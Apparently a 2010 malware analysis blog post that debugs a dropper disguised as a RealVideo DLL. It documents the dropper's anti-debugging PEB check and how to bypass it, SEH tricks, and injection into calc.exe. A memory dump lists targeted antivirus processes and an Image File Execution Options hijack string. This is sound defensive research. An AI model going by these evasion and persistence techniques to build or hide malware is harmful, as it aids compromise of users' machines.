Length Of Struc: 0294h Length Of Value: 0034h Type Of Struc: 0000h Info: VS_VERSION_INFO Signature: FEEF04BDh Struc Version: 1.0 File Version: 6.0.7.4085 Product Version: 6.0.7.4085 File Flags Mask: 0.0 File Flags: File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Struc has Child(ren). Size: 568 bytes. Child Type: StringFileInfo Language/Code Page: 1033/1200 CompanyName: RealNetworks, Inc. FileDescription: RealVideo FileVersion: 6.0.7.4085 LegalCopyright: Copyright © RealNetworks, Inc. 1995-2002 ProductName: RealVideo (32-bit) ProductVersion: 6.0.7.4085 Child Type: VarFileInfo Translation: 1033/1200
File Type : DLL … Interesting !
CompanyName : RealNetworks, Inc…. Yeah right.
At 0x00401FB4, a LoadLibrary call is executed, taking the full path to the newly created tmp file as argument… This reinforces that the .tmp file is really a binary (a dll) :
The LoadLibraryA call loads the dll at baseaddress 0x10000000 :
When the .tmp file was loaded, imm32.dll gets loaded as well (other dll’s such as secur32.dll, gdi32.dll, were already loaded earlier), so this is yet another indication that the .tmp file is a binary/dll and contains some imports from OS dll’s.
LoadLibrary has the ability to load both dll’s and exe files (which have the same PE structure btw).
Interestingly, the tmp/dll file gets loaded without Immunity Debugger reporting that it got loaded. No trace of it in "Executable Modules" and no trace of it in the "log" window either :
The memory map, on the other hand, does indicate that something was loaded at 0x10000000 :
Next, a pointer to the string "rmoc3260.tlb" is put in eax. Next, a pointer to the string "atrc32.dll" is retrieved from the string array and put in eax.
Then, ProcAddress of ProcNameOrdinal nr5 is retrieved :
A pointer to "%ProgramFiles%\Real\" is put in eax, then moved to edi. Then, a pointer to "%Systemroot%\system32\" is retrieved and moved into ebx. A pointer to "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad" is put in eax.
Then, a memcpy from 00401000 to 0012E884 occurs (0x400 bytes) and a pointer to the string "calc" is retrieved.
The l.exe binary creates a new process :
and it says it’s calc.exe :)
Wow – where did that come from ? We’ll look at it in a bit.
Then, VirtualAlloc() is executed, memory is reset (REP STOS), and a call to WriteProcessMemory() is executed, writing 0x1000 bytes to hProcess 0x48 (window), to address 0xA0000, from 0012E884.
Next, the code performs GetThreadContext on thread 4C (window), with pContext pointer set to 0012F884. Finally, ResumeThread() is sent to thread 4C, and the l.exe process is terminated.
Terminated? That was fast. Maybe a little too fast.
Okay, before looking any further, we’ll have to analyse the .tmp file (which really is an executable binary/dll). We already suspect that the file, which is generated at runtime, will be the one responsible for further infection / other activity. We also need to look at the calc process, but maybe the tmp file and the calc process are connected/related to each other. And there’s also the WPM call, which writes data to 0xA000… Maybe that’s an injection into the calc process…. We’ll see.
All of the above happened in no more than a few seconds.
December 2nd, 2010 21:43:59 GMT+1 – stage 3 : the .tmp file
In order to analyze what exactly happens when l.exe runs, produces a tmp file and executes code in the "tmp" file, we’ll also use a couple of other tools (other than a debugger) to document what happens.
First of all, let’s dump the imports used by the dll :
10009000 RegQueryValueA ADVAPI32 10009004 RegCreateKeyExA ADVAPI32 10009008 InitializeSecurityDescriptor ADVAPI32 1000900C SetSecurityDescriptorDacl ADVAPI32 10009010 RegDeleteValueA ADVAPI32 10009014 RegOpenKeyA ADVAPI32 10009018 RegSetValueExA ADVAPI32 1000901C RegOpenKeyExA ADVAPI32 10009020 RegQueryValueExA ADVAPI32 10009024 RegCloseKey ADVAPI32 10009028 RegEnumValueA ADVAPI32 10009030 LCMapStringW KERNEL32 10009034 GetCurrentProcess KERNEL32 10009038 LCMapStringA KERNEL32 1000903C GetSystemInfo KERNEL32 10009040 GetLocaleInfoA KERNEL32 10009044 GetCPInfo KERNEL32 10009048 GetStringTypeA KERNEL32 1000904C GetStringTypeW KERNEL32 10009050 QueryPerformanceCounter KERNEL32 10009054 GetTickCount KERNEL32 10009058 GetCurrentThreadId KERNEL32 1000905C GetSystemTimeAsFileTime KERNEL32 10009060 GetACP KERNEL32 10009064 GetOEMCP KERNEL32 10009068 WideCharToMultiByte KERNEL32 1000906C CreateMutexA KERNEL32 10009070 ResetEvent KERNEL32 10009074 VirtualFree KERNEL32 10009078 CreateProcessA KERNEL32 1000907C GetStartupInfoA KERNEL32 10009080 LeaveCriticalSection KERNEL32 10009084 EnterCriticalSection KERNEL32 10009088 Sleep KERNEL32 1000908C WaitForSingleObject KERNEL32 10009090 TerminateProcess KERNEL32 10009094 WriteProcessMemory KERNEL32 10009098 VirtualAllocEx KERNEL32 1000909C GetThreadContext KERNEL32 100090A0 lstrcpynA KERNEL32 100090A4 CloseHandle KERNEL32 100090A8 ResumeThread KERNEL32 100090AC FindClose KERNEL32 100090B0 FindNextFileA KERNEL32 100090B4 FindFirstFileA KERNEL32 100090B8 GetModuleFileNameA KERNEL32 100090BC SetEvent KERNEL32 100090C0 lstrcatA KERNEL32 100090C4 lstrlenA KERNEL32 100090C8 lstrcpyA KERNEL32 100090CC VirtualAlloc KERNEL32 100090D0 FreeLibrary KERNEL32 100090D4 GetCurrentProcessId KERNEL32 100090D8 GetProcAddress KERNEL32 100090DC ExitThread KERNEL32 100090E0 CreateThread KERNEL32 100090E4 InitializeCriticalSection KERNEL32 100090E8 CreateEventA KERNEL32 100090EC CreateDirectoryA KERNEL32 100090F0 GetFileAttributesA KERNEL32 100090F4 LocalFree KERNEL32 100090F8 GetModuleHandleA KERNEL32 100090FC SetUnhandledExceptionFilter KERNEL32 10009100 LocalAlloc KERNEL32 10009104 GetLastError KERNEL32 10009108 MoveFileExA KERNEL32 1000910C LoadLibraryA KERNEL32 10009110 CopyFileA KERNEL32 10009114 ExpandEnvironmentStringsA KERNEL32 10009118 GetVolumeInformationA KERNEL32 1000911C FreeLibraryAndExitThread KERNEL32 10009120 DisableThreadLibraryCalls KERNEL32 10009124 WriteFile KERNEL32 10009128 CreateFileA KERNEL32 1000912C DeleteFileA KERNEL32 10009130 lstrcmpiA KERNEL32 10009134 GetLocalTime KERNEL32 10009138 GetSystemDefaultLCID KERNEL32 1000913C IsBadReadPtr KERNEL32 10009140 ExitProcess KERNEL32 10009144 lstrcmpA KERNEL32 10009148 VirtualProtect KERNEL32 1000914C VirtualQuery KERNEL32 10009150 LoadLibraryExW KERNEL32 10009154 GetSystemDirectoryA KERNEL32 10009158 SetFileAttributesA KERNEL32 1000915C GetTempFileNameA KERNEL32 10009160 ReadFile KERNEL32 10009164 GetFileSize KERNEL32 10009168 SetFilePointer KERNEL32 1000916C Process32Next KERNEL32 10009170 Process32First KERNEL32 10009174 CreateToolhelp32Snapshot KERNEL32 10009178 Thread32Next KERNEL32 1000917C OpenThread KERNEL32 10009180 Thread32First KERNEL32 10009184 GetTempPathA KERNEL32 10009188 SetFileTime KERNEL32 1000918C GetFileTime KERNEL32 10009190 OpenProcess KERNEL32 10009194 MultiByteToWideChar KERNEL32 10009198 MapViewOfFile KERNEL32 1000919C CreateFileMappingA KERNEL32 100091A0 IsBadWritePtr KERNEL32 100091A4 FreeResource KERNEL32 100091A8 LockResource KERNEL32 100091AC LoadResource KERNEL32 100091B0 SizeofResource KERNEL32 100091B4 FindResourceA KERNEL32 100091B8 HeapAlloc KERNEL32 100091BC GetProcessHeap KERNEL32 100091C0 HeapFree KERNEL32 100091C4 RtlUnwind KERNEL32 100091C8 InterlockedExchange KERNEL32 100091D0 wvsprintfA USER32 100091D4 GetWindowThreadProcessId USER32 100091D8 IsWindow USER32 100091DC SendMessageA USER32 100091E0 RegisterClassExA USER32 100091E4 CreateWindowExA USER32 100091E8 MoveWindow USER32 100091EC ShowWindow USER32 100091F0 GetMessageA USER32 100091F4 TranslateMessage USER32 100091F8 DispatchMessageA USER32 100091FC PostQuitMessage USER32 10009200 DefWindowProcA USER32 10009204 KillTimer USER32 10009208 SetTimer USER32
Wow – impressive list … and the imported function names indicate a couple of things :
- file interaction
- process interaction
- registry interaction
- …
The list with exported functions is a lot smaller :
DllCanUnloadNow 10002154 1 DllGetClassObject 10002126 2 DllRegisterServer 10001EDF 3 DllUnregisterServer 10001EDF 4 RMOC3260_5 10001EE2 5 RMOC3260_6 1000215A 6 RMOC3260_7 10004EF2 7 DllEntryPoint 10005A69
So we can expect to see a limited number of functions in the dll, implementing the required logic to do more harm (maybe it will permanently infect the machine, propagate, etc etc). All we know so far is that the dll gets loaded by l.exe, but it has been unclear what exactly it does or has done so far.
Maybe the combination of l.exe and the tmp file will produce new functions. Reproducing new code at runtime is not that uncommon in malware. In fact, this is a frequently used technique in malicious code when trying to hide routines from getting detected by AV.
What is really strange is that the debugger didn’t report that the tmp file got loaded as a library. (At least, not at first sight).
Procmon reports a lot of activity generated by l.exe, so it looks like something was injected and executed, trying to hide from debuggers and/or procmon.
There must be something else going on…
Running l.exe outside the debugger shows a lot of interaction :
… that’s a lot more than what we saw in the debugger analysis of l.exe.
(You can get a copy of the procmon output here : http://redmine.corelan.be:8800/attachments/download/179/l.exe.Logfile.PML)
To be sure, we also tried to use Windows System State Analyzer to document changes to the OS. I created a snapshot before and after the infection occurred, but the utility died when trying to compare the results. Fail.
We can expect/assume that l.exe is calling code in the tmp/dll file or using bytes (as data) to recreate new code. If it reproduces new code and injects it into another process, it would explain why procmon reports a lot more activity than what we documented by looking at l.exe itself. But we should be able to at least retrieve "something" about it in the debugger. At this point, all we saw is that the tmp file was loaded, and shortly after, the process died.
Let’s try to reveal how the code in the dll (tmp) gets called & what it does, and why the behavior of l.exe is different when ran inside a debugger vs outside a debugger. It certainly smells like one or more anti-debugging tricks were used.
Let’s take a few steps back & look at the LoadLibrary call again (which loads the tmp file). This call is located at 0x00401FB4. We’ll walk through the instructions again, this time paying close attention to anti-debugger routines as well.
A few instructions below the loadlibrary call, we see a call to DWORD [EBP-14] and a call to [DWORD EBP-44]
At [EBP-14], we see this :
Ah – that’s code inside the dll.. IDA recognizes this as function RMOC3260_5
This function writes pointers inside the loaded module onto the stack (pointed to by EAX+ offset) :
or – as seen on the stack :
Next, when the routine has returned, a call to [EBP-44] is made. EBP-44 points to 10003CB1, and that is yet another function in the dll :
First, ecx and eax are pushed onto the stack. Then, the linear adress of the PEB (fs:30h) is put into eax (7FFDC000 in our case), and then written to ESP+4. Then the top value is popped from the stack again, into eax (basically restoring what was in eax before the PEB pointer was retrieved). Next, the linear address of the PEB is put in EAX. EAX is then set to 1, and the linear address of PEB (which still sits at the top of the stack at this point), is popped into ECX.
When that function returns, we see
00402017 |. 85C0 TEST EAX,EAX 00402019 |. 0F85 69010000 JNZ l.00402188
EAX is set to 1, so the jump will be made (to 00402188) :
Hmmm – it looks like it frees the library and deletes the tmp file.
The PUSH DWORD [EBP-4] puts a pointer to the startaddress of the loaded dll on the stack (0x10000000). FreeLibrary() takes this as argument.
This effectively unloads the dll from memory (so 0x10000000 points to nowhere after the call is made).
The call to kernel32.DeleteFileA removes the tmp file (PUSH EAX pushes a pointer to the full filename/path of the tmp to the stack and DeleteFileA takes that as argument)
The code continues, and calls function 0x00401D76. In that function, we first see a call to 004021E0, then does a memset and memcpy, and ends up calling CreateProcessA (0x00401E05), taking 0012FB50 as pStartupInfo and 0x0012FB98 as pProcessInfo :
We have seen this (calc) before in the analysis of stage 2, but it has become clear that we missed a piece. Loading a dll, calling a simple function, and removing it again … Something doesn’t seem right…
Let’s go back to the function at 10003CB1. Based on the outcome (EAX being 0 or 1), the code decides to unload the dll / clear memory or not. The outcome of the routine is different depending on whether there is a debugger attached or not…
Think about it. Look back at the routine. At a certain point, it reads a value from [EAX+2]. At that point, EAX points to the PEB. So this code reads the "BeingDebugged" flag from the PEB and stores the result in EAX.
Basic schoolbook anti-debugging trick.
So let’s step back & change the logic. Let’s run the code again (breakpoint set at 0x00402014 – where the call to EBP-44 is made). Just before the function returns, change EAX to 0 :
Because of the change, the jump to unload the dll & clean up memory is not taken, and the malware continues to execute a different set of code :
Of course, I can also use a PyCommand for Immunity Debugger : !hidedebug All_Debug, which will patch a couple of known techniques to detect if a debugger is present or not:
After patching PEB, the code continues and a function at 0x00401D4B is called (at 0x0040202A).
In that function, we see this :
00401D4B /$ E8 ACFFFFFF CALL l.00401CFC 00401D50 |. 85C0 TEST EAX,EAX 00401D52 |. 74 04 JE SHORT l.00401D58 00401D54 |> 33C0 XOR EAX,EAX 00401D56 |. 40 INC EAX 00401D57 |. C3 RETN 00401D58 |> E8 B6FFFFFF CALL l.00401D13 00401D5D |. 85C0 TEST EAX,EAX 00401D5F |.^75 F3 JNZ SHORT l.00401D54 00401D61 |. E8 3DFFFFFF CALL l.00401CA3 00401D66 |. 85C0 TEST EAX,EAX 00401D68 |.^75 EA JNZ SHORT l.00401D54 00401D6A |. E8 C4FEFFFF CALL l.00401C33 00401D6F |. F7D8 NEG EAX 00401D71 |. 1BC0 SBB EAX,EAX 00401D73 |. F7D8 NEG EAX 00401D75 \. C3 RETN
We end up calling 0x00401D13 and 00401CA3. Inside the function at 0x00401CA3, a call is made to 004023A8, where a SEH record is created and some pointers to strings and an API is put onto the stack :
Then, after this function returns, we see this :
The I/O command at 00401CCB generates an exception, and the SEH record which was created a few instructions above gets called
I set a breakpoint at 0x00402210 and passed the exception to the application. As expected, the handler gets called :
A jmp to msvcrt._except_handler is performed. In that routine, 77C3930C is called. In that function, we observe
- a call to VirtualQuery (hProcess = FFFFFFFF, Address = 00403078, Buffer = 0012F76C and BufSize = 0x1c)
- a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 1)
- a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 0)
- 2 calls to MSVCRT._global_unwind2
- a call to 00401CE8, which ends up calling 004023E3. This loads a couple of pointers into registers :
- EBX => "%SystemRoot%\system32\"
- ESI => kernel.GetProcAddress
- EDI => "%ProgramFiles%\Real\"
- Then a call to 00401C33 is made, which calls 004023A8. That function manipulates FS[0] and makes it point to 0012FFB0 (stack). 0012FFB0 points to 0012FFE0
When the function returns, another exception is triggered :
At that time, the SEH chain still points to 0x00402210
Pass the exception to the application (Shift+F9). This generates a debugger message that says "Illegal instruction – use Shift+F7/F8/F9 to pass exception to program". Pass the exception again (Shift+F9).
This brings us back at 0x00402210 (same location as a few moments ago).
The fact that the binary uses a custom SEH record *might* be an indication that it’s trying to fool automated tools by making it think that it’s corrupted or broken, while it still effectively can redirect flow. You can find some more info about this concept here.
Again, msvcrt.77C3930C gets called, but this time no VirtualQuery occurs. This time, the code ends up calling ntdll.ZwContinue. Parameters to the call are Arg1 : 0012F8A8 and Arg2 : 00000000
In that function, we get redirected to 00401C57 and in that function, 004023E3 is called (which, as expected, removes one entry from the SEH chain)
The code continues at 0040202F. This calls 004014D1 (which is the function that will get a pointer to a string in the string table that was mentioned earlier). The string that is retrieved, is "_!RKU#PNP#090921!_".
Then, a call is made to kernel32.OpenMutexA, using the following parameters :
OpenMutexA will open an existing named mutex object (referenced by MutexName). This could be a technique, used by the binary, to find out if the malware is already running. In the kernel32.OpenMutexA function, the string is converted to Unicode, and then ntdll.ZwOpenMutant is called (Arg1 : 0012FB78, Arg2 : 00000001, Arg3 : 0012FB58)
The call to OpenMutexA returns 0 (eax), so no jump is made to 00402162 :
(We have seen function 0x00402162 before – the function will release the library (tmp), delete the tmp file, and free memory. I labeled the function so it would be easier to recognize.)
Anyways, the OpenMutexA call returned 0, so the code continues with a call to 100058FC.
In that function, it first pushes 2 dwords to the stack and then calls routine at 0x10005F00. In that routine, some pointers are pushed onto the stack, and a new exception handler record (pointing at 0x10005F54) is created.
Then function 10005908 is called. It generates the string "TYPELIB" on the stack, fetches a pointer to the string, and sets up the arguments for a FindResourceA() API call :
"TYPELIB" – interesting :)
Next, SizeofResource is called (with hModule set to 0x10000000 and hResource set to 1000C080 (eax)). The call returns 0x4289 (stored in eax). Then, LoadResource is performed :
This returns a pointer to the resource : 0x1000C0B0 :
This pointer is then written onto the stack (at EBP-1C).
Next, a VirtualAlloc() is executed, (0x10000 bytes, ReadWrite), which returns pointer 0x00380000 (stored in eax). This pointer is also written to the stack (right above the pointer to the resource).
Next, kernel32.SetHandleCount(0x1000C0B0) is executed.
At 1000599C, another function is called : 10002E38. This is (coincidence or not) the first pointer that was stored in the function pointer array on the stack (pointers to functions inside the dll). Inside function 10002E38, another function gets called (0x10002DCF).
A stack setup is prepared…
0012FB20 00000000 .... 0012FB24 00004289 ‰B.. 0012FB28 00380000 ..8. 0012FB2C FFFFFFFF ÿÿÿÿ 0012FB30 00380000 ..8. 0012FB34 00000000 .... 0012FB38 FFFFFC00 .üÿÿ 0012FB3C 00380000 ..8. 0012FB40 /0012FBA4 ¤û. 0012FB44 |100059A1 ¡Y. RETURN to 4E.100059A1 from 4E.10002E38
… followed by a loop that starts writing bytes to the newly allocated memory region (0x00380000) :
The function ends and returns to 0x100059A1. Then a couple of functions are called and eventually something that looks like an executable is written to 00390000 …
… and a little later, another set of bytes is written (to 00391xxx)
A third set of bytes (0x896) is written to 00394000 :
and that starts to look like some of the entries we saw in the procmon report.
Full dump :
00394000 C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00 ÄF..ÚF..êF..G.. 00394010 18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00 G..0G..@G..RG.. 00394020 60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00 `G..nG..‚G..’G.. 00394030 A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00 ¢G..´G..ÄG..ÜG.. 00394040 F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00 ðG..H..(H...... 00394050 48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00 HH..\H..jH..zH.. 00394060 86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00 †H..”H..¦H..ÂH.. 00394070 D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00 ÐH..æH..öH..I.. 00394080 16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00 I..,I..@I..LI.. 00394090 5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00 ^I..jI..vI..„I.. 003940A0 92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00 ’I..žI..¦I..²I.. 003940B0 BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00 ¾I..ÎI..êI..øI.. 003940C0 0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00 .J..J...J..@J.. 003940D0 56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00 VJ..lJ..‚J..”J.. 003940E0 A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00 ¨J..¸J..ÆJ..ÖJ.. 003940F0 EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00 êJ..üJ..K.. K.. 00394100 32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00 2K..@K..VK..jK.. 00394110 76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00 vK..„K..œK..°K.. 00394120 C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00 ÄK..ÔK..êK...... 00394130 08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00 L..L..L..&L.. 00394140 2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00 .L..8L..NL..ZL.. 00394150 00 00 00 00 00 00 00 00 5C 5C 2E 5C 53 54 4D 33 ........\\.\STM3 00394160 32 4B 72 6E 6C 00 00 00 77 75 61 75 73 65 72 76 2Krnl...wuauserv 00394170 00 00 00 00 6B 65 72 6E 65 6C 33 32 00 00 00 00 ....kernel32.... 00394180 6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 53 61 66 65 ntdll.dll...Safe 00394190 33 32 2E 4D 75 74 61 6E 74 4E 61 6D 65 00 00 00 32.MutantName... 003941A0 53 61 66 65 33 32 2E 45 76 65 6E 74 00 00 00 00 Safe32.Event.... 003941B0 2E 63 72 74 00 00 00 00 2E 33 38 36 00 00 00 00 .crt.....386.... 003941C0 5C 70 73 61 70 69 2E 64 6C 6C 00 00 25 53 79 73 \psapi.dll..%Sys 003941D0 74 65 6D 72 6F 6F 74 25 5C 73 79 73 74 65 6D 33 temroot%\system3 003941E0 32 5C 70 73 61 70 69 2E 64 6C 6C 00 5C 5C 2E 5C 2\psapi.dll.\\.\ 003941F0 33 36 30 53 65 6C 66 50 72 6F 74 65 63 74 69 6F 360SelfProtectio 00394200 6E 00 00 00 5C 5C 2E 5C 33 36 30 53 70 53 68 61 n...\\.\360SpSha 00394210 64 6F 77 30 00 00 00 00 73 66 63 2E 64 6C 6C 00 dow0....sfc.dll. 00394220 25 53 79 73 74 65 6D 72 6F 6F 74 25 5C 73 79 73 %Systemroot%\sys 00394230 74 65 6D 33 32 5C 77 75 61 75 63 6C 74 2E 65 78 tem32\wuauclt.ex 00394240 65 00 00 00 2D 38 44 35 46 2D 34 35 32 39 2D 00 e...-8D5F-4529-. 00394250 2D 72 61 76 2D 00 00 00 63 61 6C 63 00 00 00 00 -rav-...calc.... 00394260 5C 3F 3F 5C 00 00 00 00 46 41 54 33 32 00 00 00 \??\....FAT32... 00394270 5C 5C 2E 5C 25 63 3A 00 5C 52 65 67 69 73 74 72 \\.\%c:.\Registr 00394280 79 5C 4D 61 63 68 69 6E 65 5C 00 00 49 6D 61 67 y\Machine\..Imag 00394290 65 50 61 74 68 00 00 00 54 79 70 65 00 00 00 00 ePath...Type.... 003942A0 53 74 61 72 74 00 00 00 45 72 72 6F 72 43 6F 6E Start...ErrorCon 003942B0 74 72 6F 6C 00 00 00 00 53 59 53 54 45 4D 5C 43 trol....SYSTEM\C 003942C0 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74 urrentControlSet 003942D0 5C 53 65 72 76 69 63 65 73 5C 25 30 38 78 00 00 \Services\%08x.. 003942E0 44 65 62 75 67 67 65 72 00 00 00 00 6E 74 73 64 Debugger....ntsd 003942F0 20 2D 64 00 45 76 65 72 79 6F 6E 65 00 00 00 00 -d.Everyone.... 00394300 4D 41 43 48 49 4E 45 5C 25 73 00 00 00 00 00 00 MACHINE\%s...... 00394310 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F SOFTWARE\Microso 00394320 66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 75 ft\Windows NT\Cu 00394330 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 49 6D 61 rrentVersion\Ima 00394340 67 65 20 46 69 6C 65 20 45 78 65 63 75 74 69 6F ge File Executio 00394350 6E 20 4F 70 74 69 6F 6E 73 00 00 00 00 00 00 00 n Options....... 00394360 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F SOFTWARE\Microso 00394370 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 ft\Windows\Curre 00394380 6E 74 56 65 72 73 69 6F 6E 5C 45 78 70 6C 6F 72 ntVersion\Explor 00394390 65 72 5C 42 72 6F 77 73 65 72 20 48 65 6C 70 65 er\Browser Helpe 003943A0 72 20 4F 62 6A 65 63 74 73 00 00 00 33 36 30 72 r Objects...360r 003943B0 65 61 6C 70 72 6F 2E 65 78 65 00 00 7B 42 36 39 ealpro.exe..{B69 003943C0 46 33 34 44 44 2D 46 30 46 39 2D 34 32 44 43 2D F34DD-F0F9-42DC- 003943D0 39 45 44 44 2D 39 35 37 31 38 37 44 41 36 38 38 9EDD-957187DA688 003943E0 44 7D 00 00 25 25 53 79 73 74 65 6D 72 6F 6F 74 D}..%%Systemroot 003943F0 25 25 5C 73 79 73 74 65 6D 33 32 5C 64 72 69 76 %%\system32\driv 00394400 65 72 73 5C 25 73 2E 73 79 73 00 00 6B 70 70 74 ers\%s.sys..kppt 00394410 72 61 79 2E 65 78 65 00 47 65 74 4D 6F 64 75 6C ray.exe.GetModul 00394420 65 46 69 6C 65 4E 61 6D 65 45 78 41 00 00 00 00 eFileNameExA.... 00394430 70 73 61 70 69 00 00 00 33 36 30 53 65 6C 66 50 psapi...360SelfP 00394440 72 6F 74 65 63 74 69 6F 6E 00 00 00 71 75 74 6D rotection...qutm 00394450 69 70 63 00 71 75 74 6D 64 72 76 00 68 6F 6F 6B ipc.qutmdrv.hook 00394460 70 6F 72 74 00 00 00 00 42 41 50 49 44 52 56 00 port....BAPIDRV. 00394470 45 66 69 4D 6F 6E 00 00 4C 69 76 65 55 70 64 61 EfiMon..LiveUpda 00394480 74 65 33 36 30 2E 65 78 65 00 00 00 5A 68 75 44 te360.exe...ZhuD 00394490 6F 6E 67 46 61 6E 67 59 75 2E 65 78 65 00 00 00 ongFangYu.exe... 003944A0 33 36 30 72 70 2E 65 78 65 00 00 00 33 36 30 73 360rp.exe...360s 003944B0 64 2E 65 78 65 00 00 00 65 67 75 69 2E 65 78 65 d.exe...egui.exe 003944C0 00 00 00 00 65 6B 72 6E 2E 65 78 65 00 00 00 00 ....ekrn.exe.... 003944D0 72 73 74 72 61 79 2E 65 78 65 00 00 6B 61 76 73 rstray.exe..kavs 003944E0 74 61 72 74 2E 65 78 65 00 00 00 00 61 76 70 2E tart.exe....avp. 003944F0 65 78 65 00 73 61 66 65 62 6F 78 74 72 61 79 2E exe.safeboxtray. 00394500 65 78 65 00 6E 6F 64 33 32 6B 72 6E 2E 65 78 65 exe.nod32krn.exe 00394510 00 00 00 00 33 36 30 74 72 61 79 2E 65 78 65 00 ....360tray.exe. 00394520 70 45 00 00 00 00 00 00 00 00 00 00 3A 48 00 00 pE..........:H.. 00394530 00 40 00 00 C0 45 00 00 00 00 00 00 00 00 00 00 .@..ÀE.......... 00394540 FA 4B 00 00 50 40 00 00 A0 46 00 00 00 00 00 00 úK..P@.. F...... 00394550 00 00 00 00 42 4C 00 00 30 41 00 00 00 00 00 00 ....BL..0A...... 00394560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00394570 C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00 ÄF..ÚF..êF..G.. 00394580 18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00 G..0G..@G..RG.. 00394590 60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00 `G..nG..‚G..’G.. 003945A0 A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00 ¢G..´G..ÄG..ÜG.. 003945B0 F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00 ðG..H..(H...... 003945C0 48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00 HH..\H..jH..zH.. 003945D0 86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00 †H..”H..¦H..ÂH.. 003945E0 D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00 ÐH..æH..öH..I.. 003945F0 16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00 I..,I..@I..LI.. 00394600 5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00 ^I..jI..vI..„I.. 00394610 92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00 ’I..žI..¦I..²I.. 00394620 BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00 ¾I..ÎI..êI..øI.. 00394630 0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00 .J..J...J..@J.. 00394640 56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00 VJ..lJ..‚J..”J.. 00394650 A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00 ¨J..¸J..ÆJ..ÖJ.. 00394660 EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00 êJ..üJ..K.. K.. 00394670 32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00 2K..@K..VK..jK.. 00394680 76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00 vK..„K..œK..°K.. 00394690 C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00 ÄK..ÔK..êK...... 003946A0 08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00 L..L..L..&L.. 003946B0 2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00 .L..8L..NL..ZL.. 003946C0 00 00 00 00 3E 00 43 6C 6F 73 65 53 65 72 76 69 ....>.CloseServi 003946D0 63 65 48 61 6E 64 6C 65 00 00 3E 02 53 74 61 72 ceHandle..>Star 003946E0 74 53 65 72 76 69 63 65 41 00 36 00 43 68 61 6E tServiceA.6.Chan 003946F0 67 65 53 65 72 76 69 63 65 43 6F 6E 66 69 67 41 geServiceConfigA 00394700 00 00 BC 01 51 75 65 72 79 53 65 72 76 69 63 65 ..¼QueryService 00394710 43 6F 6E 66 69 67 41 00 C2 01 51 75 65 72 79 53 ConfigA.ÂQueryS 00394720 65 72 76 69 63 65 53 74 61 74 75 73 45 78 00 00 erviceStatusEx.. 00394730 AD 01 4F 70 65 6E 53 65 72 76 69 63 65 41 00 00 OpenServiceA.. 00394740 AB 01 4F 70 65 6E 53 43 4D 61 6E 61 67 65 72 41 «OpenSCManagerA 00394750 00 00 D5 01 52 65 67 45 6E 75 6D 4B 65 79 41 00 ..ÕRegEnumKeyA. 00394760 C9 01 52 65 67 43 6C 6F 73 65 4B 65 79 00 E7 01 ÉRegCloseKey.ç 00394770 52 65 67 51 75 65 72 79 49 6E 66 6F 4B 65 79 41 RegQueryInfoKeyA 00394780 00 00 D0 01 52 65 67 44 65 6C 65 74 65 4B 65 79 ..ÐRegDeleteKey 00394790 41 00 E2 01 52 65 67 4F 70 65 6E 4B 65 79 45 78 A.âRegOpenKeyEx 003947A0 41 00 F9 01 52 65 67 53 65 74 56 61 6C 75 65 45 A.ùRegSetValueE 003947B0 78 41 00 00 CC 01 52 65 67 43 72 65 61 74 65 4B xA..ÌRegCreateK 003947C0 65 79 41 